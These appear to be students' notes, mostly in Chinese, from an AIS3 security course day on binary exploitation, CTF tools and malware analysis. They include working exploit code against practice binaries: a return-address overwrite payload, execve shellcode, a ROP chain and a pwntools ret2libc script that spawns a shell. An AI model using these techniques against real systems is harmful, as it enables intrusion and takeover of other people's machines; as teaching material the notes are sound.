Day 3 - Malware, binary

Binary, Exploitation, Pwning - Sean

漏洞利用
exploit
載點: http://ais3.wifi.ntust.info/fetch.php?token=e4f9ec2ef7cb1ae9e1cd9a1d0ed4541f

Buffer Overflow
造成原因
針對程式的缺陷向緩衝區寫入溢位的內容、造成破壞程式執行，取得程式或系統的控制權
上古時期的利用方法
保護和繞過保護的方式

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char good[200]; //global

int main() {
    char buf[100];
    gets(buf);
    strcpy(good, buf);
    puts(good);
}
```

```
cat /proc/#/maps
b *main+54
(gdb) lay asm
x/10wx $esp
p $eip
```

ESP -- stack頂
EBP -- stack底部
EBP是point 指向previous EBP

不會寫 x86 組語沒有關係，可以猜一下它的意思(咦)

Function Call
Caller 把 functuon 之後要 return 的位置上放在 Stack
Callee 在 return 時會跟去 stack 上的值決定要跳回哪裡
Backtrace

講解 stack layout

```
$ ncat -vc ./vul -kl 127.0.0.1 8888
$ cat a | ./vul
```

Practice #1
Return address overwirte
利用 Stack overflow 覆蓋掉 main 的 return address，繞過 if 的檢查
ncat -vc ./vul -kl 127.0.0.1 8888 開一個只有localhost可以連線的程式
nc -b localhost 8888
先猜 return address 的位置
其實也是可以從 buffer 的偏移量好好計算不過實在太麻煩了所以還是在padding字串後接上要跳過去的目標address
因為是little-endian所以要反過來

```
$ gdb ./vul
(gdb) lay asm
(gdb) p/x &buf   我記得是$esp
(gdb) p/x $eax
si
x/4wx $esp
x/10wx *($esp+0x18)
b *main+143    // 在 main return 之前放 breakpoint
r 然後剪貼 cyclic() 產生的字串
```

```
$ pip install pwntools && pip install --upgrade capstone
$ ipython
```

```
from pwn import *
cyclic(100)
# 剪貼去 gdb
cyclic_find(p32(0x62616165)) # 就知道 padding 的長度要是 116 bytes

objdump -d ./vul
cat in | ./vul
$ objdump -d ./vul less # 找到要跳去哪裡
$ xxd in
$ hexedit in

$ perl -e 'print "A"x116 . "\x30\x86\x04\x08"' > in
$ (cat in ; cat ) | ./vul # 把 stdin 跟 shell 接起來，也可以用 cat in - | ./vul

 8048630:    c7 04 24 e0 86 04 08     movl   $0x80486e0,(%esp)
```

hex edit with vim: :%!xxd / :%!xxd -r

Little Endian: 0x08048630 這個 value 在記憶體中是反過來 = "\x30\x86\x04\x08"

Practice 2 Return Oriented Programming

Control Hijack

跳 到任意的位址然後指行

但也不見得剛好有個 system("sh")可以用

Shellcode

自己 code 自己送

data 也可以當作 code 來跑

在 Global Variable 的 OverFlow 效果不大 (?

想問++

蓋不到 return address

Data Execution Prevention

十年前，data可以當作 code 來跑

現在有 DEP - 可以跑得不能寫; 可以寫的不能跑

compile 時加上 -zexecstack 則可以執行 stack 上的 code

cat /proc/PID/maps 可以看哪一段 memory 可以讀/寫/跑

ROP

ret2text - 使用原本程式裡的 code 片段

ret2lib - 使用到執行時載入的shared library
使用 return 組合需要的功能，藉由巧妙的選擇要return的lib (通常是libc)中的，gadget 或是直接呼叫裡面的函式

斷章取義
ROP時會選擇接見 ret 指令的一小段code 作為 gadget
依序從 stack 上拿出資料儲存至 ebx, esi, edi, ebp

```
pop ebx
pop esi
pop edi
pop ebp
ret
```

ROP Chain
Gadget 執行完後，還可以繼續return
再stack 上按正確的順序排好，每個 gadget的address和對應的frame

```
eax = 11 (execve)
ebx = "/bin/sh"
ecx = 0
edx = 0
int 0x80 - execve("/bin/sh", 0, 0)
```

```
$ strace ./vul
$ man systemcall // search execve()
```

```
section .text
global _start
_start:
  mov eax, 11
  mov ebx, aa
  mov ecx, 0
  mov edx, 0
  int 0x80
aa:
  db '/bin/sh',
$ nasm -felf32  -o sh.o shell.asm
$ ld -o sh sh.o -melf_i386
```

```
$ pip install pwntools && pip install --upgrade capstone
```

$ ipython
from pwn import *
cyclic(150)
# 剪貼去 gdb
cyclic_find(p32(0x62616165)) # 就知道 paddin

shell code 要避開 0(NULL free) , return, 換行(0x0a)

ROPgadget
ROPgadget --binary ./vul   // 在 pwntools裡面
需要 pip install capstone --upgrade，不然會爛掉
ROPgadget --binary ./vul | tee gadgets // 用 tee 會同時把結果輸出到檔案
$vim gadget
尋找 pop eax ; ret / pop ebx ; ret / pop ecx ; ret / pop edx ; ret 這些 gadget 來控制需要的 Registers
cp ../practice1/in .
改一下 payload => 0x080bb736   //記憶體位址可能因機器而異
繼續疊 0x00000b (eax), 0x0806f751 (gadget: pop ecx; pop ebx; ret), 0x0000000 (ecx), 0x80be990 (ebx) ...
如果是直接使用它的 vul 而不是自己重編的話記憶體位置會一樣
b *0x8048eb3   # 在 ret 之前斷點
r < in
x/4wx $esp
si
x/2i 0x080bb736
p/x $eax
si
lay regs
x/s 0x80be990

x86 指令長度可變，可跳到指令中間，斷章取義
main+127 第二個 puts (/bin/sh)

Practice 3 Ret2lib
通常如果不是 static compiled 不太可能有 int 0x80 這類的 gadget
Shared Library
libc.so.6 - with ASLR

ASLR
Address Space Layout Randomization

每次函式庫載載入位置(base Addresss)都會隨機化
避免函式位置被猜到

```
cat /proc/self/maps    //每次執行記憶體都在變動
cat /proc/`pidof programname`/maps
```

Defeat ASLR
Libc 的 base address 可以從很多地方推得，利用.text 內的程式可以洩漏足夠資訊
抽獎(機率約1/16)
main() 的 return address
32-bit 的 shared library 大概都在 0xf7e 開頭的地方
就算有 ALSR 最後的 12bit 也不會變
.got.plt entry ， objdump 會有 .plt section
got entry 的位置不受 aslr 影響
某些狀況下的 buffer overfllow, 或是有任意記憶體位址寫入的漏洞，可以只複寫部分(return address, function pointer, etc...)
原本的直指要改寫的值，相差不少於 0x10000 時可以只複寫蓋掉最低 2 bytes
ASLR 以 page (4k) 為單位對齊，故對底下的 1.5 byte 值是確定的，只要賭 0.5 byte = 1 / 16的機率

JYNYCHEN *橘大曰：stack heap lib 位置都會 aslr ，如果 binary 有開 PIE binary address 也會有 aslr ，不過後 1.5 byte 不會受 aslr 影響。*

Return to system()
Leak Base Address
先洩漏任何一個 got.plt 欄位
使用現有 puts()
Fuction call 的 ROP gadget 疊法
要騙 puts() 以為是 call 進去而不是 return 進去的，所以 stack 上要先疊 return address
function 至少要被 call 過一次，.got.plt 才會被 resolve 成正確的位置
Return to main
可以從頭再來一次
不過 padding 的長度會變，因為 stack 被我們弄髒了
Lazy Binding 機制
可以檢查 leak 出來的 base address 最後 1.5 byte 都是 0 表示沒猜錯
libc 裡面其實有 /bin/sh

```python
#!/usr/bin/env python
from pwn import *
```

```
r = remote('127.0.0.1', '8888')

r.send('A'*116 + p32(0x08048420) + p32(0) + p32(0x804a018)  + '\n')
base = u32(r.recvrepeat(1)[:4]) - 0x00065650

print hex(base)

system = base + 0x00040190 # system()
str_sh = base + 0x160A24 # "/bin/sh" offset in libc
r.send('A'*124 + p32(system) + p32(0) + p32(str_sh)  + '\n')

r.interactive()

$ncat -vc ./vul
$readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@'
$pidof vul
```

Link
linux syscall ref : http://syscalls.kernelgrok.com/
the libc data base : http://libcdb.com/
exploit 兩個 symbol 的 address 然後丟上去 search
http://code.woboq.org/userspace/glibc/malloc/malloc.c.html

The development of CTFs - Tyler Nighswander

投影片: http://copyfighter.org/ais3/slides/

xortool

- written by hellman (Leet More)
- automatically solved xor problems.
- one time pad - 100% secure
  - xor(msg, random(len(msg))) // Claude Shannon
- re-used pad - ~2% secure
  - xor(msg, radom(5))

- will not
  - handle random plaintext (encrypted /compressed)
  - handle true one time pads
  - handle non-xor based encryption

- will
  - work on real world programs (especially malware)
  - solve many challenge by accident
  - solve the last 10% of some challenges

010editor

- it will at least annotate your files with ...
- C type struct
- Recent python library to parse 010 templates!
- Hachoir is python lib with similar format "knowledge"

Good for
lots of forensics

- some reversing

Tool: https://github.com/hellman/xortool
File: http://captf.com/2011/defcon-quals/b300/
http://copyfighter.org/ais3/ctf/problems/
xortool --help

xortool name.jpg (找出可能的長度)
xortool -l 8 -c '\x00' name.jpg (plaintext 的話可以用 '\x20' (空格))

open 0.out.jpg
mv 0.out.jpg 0.jpg
open 0.jpg ... 不能開 GG XD

flag:ANDROIDSEKURITYis(???????)

Tools

IDA

- The standard disassembler for CTF/industry
  - Stupid expensive
- Disassembles just about everyting
  - Add your own support for the rest
- Interactive! Add names + type information
- Decompile x86, x86_64

walk-through

Open idaq64
retargetable decompiler https://retdec.com/
ScreenEA()
hex(ScreenEA())
idaapi.get_qword(ScreenEA())
hex(idaapi.get_qword(ScreenEA()))
def d(a): return idaapi.get_qword(a);
for x in range(0,12): sys.stdout.write(chr((d(d(d(d(d(d(d(ScreenEA()-x*8)))))))&0xff)));
de(de(de(de(de(ScreenEA()))))) & 0xff) ...
重點是要做 IDA scripting ... T_T
https://code.google.com/p/idapython/

- radare + r2
- hopper
- binary ninja

Binary ninja

- Written by CTF players
    - used alt in defcon CTF
    - many useful features for CTF players!
- free open source version + paid version
- Benefits of binary ninja
    - good integration with scripting
    - easier binary patching

GDB / PEDA

- Python Exploit Development Assistance
- Useful function : shellcode, ropsearch, stepunitll, pattern, assemble, eflags, goto, deactivate...
- Python scripting backend
- Interface is also nicer for reversing

Pwntools

- Handles common tasks in exploit development
- Goal is to speed up to exploit dev
- Open source!!
- will not:
    - Help in vulnerablillty searching or RE process
- will

  - stop you from writing the same code over and over

qira

- Will not :
  - replace a full disassembler / decompiler
  - replace a normal debugger
- will:
  - possibly be more useful than debugger
  - help with reverse engineering

教學: https://code.google.com/p/qira/wiki/ezhpQIRAwriteup

Pin

- intel framwork for creating dynamic analysis tools
- Allows writing fancy tools on x86 and x86_64
- Kind of like scripting a debugger, but less invasive
- build "pin-tools" - programs that run with pin
  - run in address space of target program
  - just-in-time compiles target
  - add in hook(like breakpoints) for certain events
- Instrcount: hook every basic block kit
- Simple + very common: instruction counting
- Scenario:
  - crackme - style binary
  - "partial" solutions involve more computation
    - e.g. strcmp runs longer when partial match
  - .
- Will not
  - fully replace a debugger (though can emulate one)
  - help much with exploit dev
  - work on non-intel platforms(for now)
  -
- will
  - autosolve some reversing problems
  - help in RE of CTF and real-world programs
  - work on linux + windows + OSX

~/pin/pin -t /home/ais/pin/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./silly_vm ; cat inscount.out

像是 time-based 的，它會先檢查第一個字、如果對了，再去檢查第二個字...etc.

peda-gdb:
count_instructions("foo") # 輸出 inscount.out

Z3

- Microsoft tool for SMT solving
- Allows for very complex formulas(not NP, but \Sigma{p}{k})
- Created for proving safety of programs
- Comes with Python API
- Common use case:
  - Find algorithm and reverse engineer it
  - RE-implement it in Python with Z3 types
  - Ask Z3 for a solution
- For many problems Z3 acts as "intelligent brute force"

SMT overview

- SMT - satisfiability modulo theories (similar to SAT)
- Express "theory" (like arighemic mod 2^32) with SAT
  - Ask fairly powerful questions:
    - ebx = 0x1337, eax=(ebx / ecx) ^ ecx, eax =2, ecx=?
- Obviously this is NP-complete so it won't always work!
- Many things (more than you can...)

$ ./crackme 1 2 3

- brute-force is a reasonable solution, but ...
- Re-implement the algorithm in Python in Z3 style
- In Z3, the numbers are symbolic
  - unbounded loop (depending on the numbers) makes Z3 slow

```
from z3 import *
a1, a2, a3 = BitVecs("a1 a2 a3", 32)
s = Solver()
s.add(a1 ^ a2 == a3)
s.check()
s.model()
s.add(RotateLeft(a1, 9) == a2 )

def bits(n):
    s = 0
    for i in xrange(32):
        s += n&1
        n >>= 1
    return s

s.add (bits(a3) == 18)
s.add (bits(a1 & 0x55555555) == 0)

def sumd(x):
    sum = 0
    # don't use while loop
    # in z3 x is an expression, not an integer
    # using while will cause the infinite loop
    for _ in xrange(15):
        sum += x%10
        x = x/10
    return sum

s.add (sumd(a1) == 42)
s.add (sumd(a2) == 9)
s.check() # 等很久^H^H 2 分鐘之後
s.model() # three numbers of answer

s.model()[a1]
str(s.model()[a1])
''.join(str(s.model()[a]) for a in [a1,a2,a3])
# Out[11]: 713074848 22102101 735176949]

$ ./crackme 713074848 22102101 735176949
```

Reverse Engineering and Malware Analysis - Erye Hernandez

DAY2

- x86 Assembly review
- C code constrcuts
- windows API
- IDA pro

Download Lab2 from:
http://copyfighter.org/ais3/malware

Registers
- Length: 32-bit / 4-bytes
- High-speed storage in the processor
- Accessing register is LOT

```
xor eax. eax
add eax, 0xCAFE
add 0xBABE ...
...
```

nop
- No OPeration - does nothing
- 0x90 opcode
- mov <reg>, <reg>
- xchg <reg>, <reg>

CHIAIAG-W...   *Orange補充：stack frame + calling convention*
函數呼叫時參數傳遞的機制，有些傳參數放暫存器，有些放 stack

Handles
- like file descriptors in Linux
- references an object(process, window, module, file,etc)
- NOT a pointer

Windows registry
- hierachical database that stores OS and program configuration and settings
- Root key(HKEY):top level of the databases
- Key:container objects/folders
- valuseLname/data pairs stores within the key

Root Keys
- HKEY_LOCAL_MACHINE(HKLM)
- HKEY_CURRENT_USER(HKCU)
- HKEY_CLASSES_ROOT
- HKEY_CURRENT_CONFIG
- HKEY_USERS(HKU)

Windows啟動自動執行的位置
(HKLM)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
(HKCU)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Networking API

- WSAStartup function is called before any networking function